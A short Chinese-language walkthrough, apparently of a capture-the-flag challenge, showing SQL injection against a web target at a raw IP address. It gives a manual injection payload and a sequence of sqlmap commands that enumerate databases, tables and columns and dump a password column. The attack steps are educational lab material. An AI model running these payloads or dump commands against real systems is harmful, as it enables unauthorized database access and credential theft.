检测是否有sql注入,?id=1 or 1=2,报错,说明可以注入。
方法一:手注
使用万能密码:/?id=1' or '1=1
其中两个单引号很重要,是用来闭合sql程序中的引号。
方法二:sqlmap
如果没有下载sqlmap,可以参考,一般在Linux上使用sqlmap更为方便。
下载好了使用sqlmap -h
查看使用方法。可能需要使用python或python3才能运行sqlmap.py,这样会比较麻烦,应该是环境变量的问题。如果遇到类似/usr/bin/env: ‘python’: No such file or directory
的问题,可以参考这篇文章。
- 检测所有存在的数据库:
sqlmap -u "http://61.147.171.105:60963/?id=1" --dbs --random-agent
其中cyber库有嫌疑。
- 检测cyber库中的表:
sqlmap -u "http://61.147.171.105:60963/?id=1" --dbs --random-agent -D cyber --tables
只有一个cyber。
- 查看cyber表中的所有列:
sqlmap -u "http://61.147.171.105:60963/?id=1" --dbs --random-agent -D cyber -T cyber --columns
- 插看pw中的字段:
sqlmap -u "http://61.147.171.105:60963/?id=1" --dbs --random-agent -D cyber -T cyber -C pw --dump